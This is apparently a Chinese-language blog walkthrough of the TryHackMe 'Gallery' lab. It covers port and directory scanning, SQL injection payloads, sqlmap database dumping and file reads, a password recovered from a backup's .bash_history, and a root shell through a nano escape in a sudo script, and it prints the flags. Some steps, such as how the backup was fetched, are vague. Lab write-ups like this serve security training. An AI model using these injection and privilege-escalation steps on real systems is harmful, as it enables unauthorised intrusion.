Gallery渗透测试实战:从SQL注入到Root权限获取

本文详细记录了在TryHackMe平台Gallery房间的完整渗透测试过程,涵盖初始侦察、SQL注入漏洞利用、备份文件发现、用户权限提升到最终获取root权限的全流程技术细节。

[THM] Gallery — 渗透测试报告

说实话…我本来没打算在约会后花整个晚上来解开这个"简单图片库",但好奇心占了上风(可能还有双倍咖啡因的作用)。最初只是快速查看,很快就变成了一场全面的数字寻宝游戏。从探测Web表单到追踪隐藏的备份文件,这个房间带来的惊喜超出了我的预期。不过相对来说还是很容易上手的!

如果你正考虑尝试Gallery房间,或者想跟随我的冒险经历,请继续阅读完整的实况记录(以及一些我希望从一开始就知道的技巧)。

1. 初始侦察

1.1. 目标发现

首先,我从TryHackMe获取目标IP并确认其在线状态:

1
ping <目标IP>

1.2. 端口扫描

使用Nmap扫描开放端口和运行的服务:

1
nmap -sC -sV -oN initial.nmap <目标IP>

发现:

  • 80/tcp — Apache httpd 2.4.29 (Ubuntu)
  • 8080/tcp — Apache httpd 2.4.29 (Ubuntu)

两个端口都托管着Web服务器,乐趣从这里开始。

2. Web应用枚举

2.1. 浏览网站

  • 端口80:默认Apache页面,没什么有趣内容
  • 端口8080:出现一个基本的"简单图片库"Web应用

2.2. 目录和文件暴力破解

运行gobuster查找隐藏目录和文件:

1
gobuster dir -u http://<目标IP>:8080 -w /usr/share/wordlists/dirb/common.txt

这揭示了标准目录(/images、/uploads等),但没有立即发现有用的内容。

3. 利用Web应用漏洞

3.1. 测试SQL注入

图片库应用具有登录和搜索功能。我开始测试SQL注入:

  • 在登录字段或搜索框中输入 ' OR 1=1-- -
  • 监控错误或成功登录的响应

成功!搜索功能存在漏洞 — 像 test' or '1'='1 这样的输入返回了所有图片。

3.2. 转储数据库

为了自动化,我使用了sqlmap:

1
sqlmap -u "http://<目标IP>:8080/search.php?query=cat" --level=5 --risk=3 --dump-all

经过一些耐心等待,sqlmap获取了users表。我找到了管理员哈希:

1
a228b12a08b6527e7978cbe5d914531c

我尝试用hashcat和rockyou破解哈希,但由于后续步骤不需要直接登录,就继续前进了。

4. 系统立足点

4.1. 寻找文件上传漏洞

我检查了图片库是否允许图片上传。确实允许,但有一些限制。尝试上传伪装成图片的PHP shell(例如将shell.php重命名为shell.jpg)后,发现上传被过滤,但值得注意以备将来攻击。

4.2. 探索敏感文件

由于应用通过SQLi泄露信息,我利用它读取系统文件:

1
sqlmap --file-read="/etc/passwd" ...

但没有立即发现有用的内容。是时候寻找其他途径了。

5. 本地文件发现

5.1. 检查备份

标准做法:始终检查/var/backups和类似目录以寻找有用文件。

1
ls -la /var/backups/

发现:mike_home_backup.tar.gz

5.2. 提取和分析备份

我通过Web漏洞下载了备份,或者通过Web应用找到获取方式(如果已在系统上,可以使用wget、scp或内置Web服务器):

1
2
tar -xzvf mike_home_backup.tar.gz
cd mike_home_backup

在里面,我找到了.bash_history文件。

1
cat .bash_history

发现密码:

1
b3stpassw0rdbr0xx

6. 用户权限提升

6.1. SSH或本地切换

我检查了SSH访问,但如果不可用,就使用任何shell访问来切换用户:

1
2
su mike
# 密码:b3stpassw0rdbr0xx

成功!现在以mike身份运行。

6.2. 获取用户标志

1
cat /home/mike/user.txt

用户标志:THM{af05cd30bfed67849befd546ef}

7. Root权限提升

7.1. 检查Sudo权限

1
sudo -l

发现: (ALL) NOPASSWD: /opt/rootkit.sh

7.2. 分析/opt/rootkit.sh

我阅读了脚本:

1
cat /opt/rootkit.sh

它提供了一个菜单,其中一个选项让我以root身份在nano中打开文件。

7.3. 利用Nano获取Root Shell

遵循GTFOBins:

  • 运行:sudo /opt/rootkit.sh
  • 选择"read"选项(打开nano)
  • 在nano中,按Ctrl+R然后Ctrl+X
  • 在提示符处输入:reset; sh 1>&0 2>&0
  • 按Enter — 现在我有了root shell!

7.4. 获取Root标志

1
cat /root/root.txt

Root标志:THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}

8. 最终总结和经验教训

  • 枚举就是一切:始终挖掘隐藏文件、目录和备份档案
  • SQL注入仍然有效:不要忽视经典漏洞
  • 权限提升关乎细节:检查sudo权限,阅读自定义脚本,使用GTFOBins技巧
  • 备份和历史文件是金矿:始终仔细检查它们

关键命令回顾

1
2
3
4
5
6
7
nmap -sC -sV -oN initial.nmap <目标IP>
gobuster dir -u http://<目标IP>:8080 -w /usr/share/wordlists/dirb/common.txt
sqlmap -u "http://<目标IP>:8080/search.php?query=cat" --level=5 --risk=3 --dump-all
cat .bash_history
su mike
sudo -l
在root shell中通过GTFOBins利用nano

如果你在任何步骤卡住了,试着放慢速度,探索所有文件和Web功能。祝你好运,黑客愉快!

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计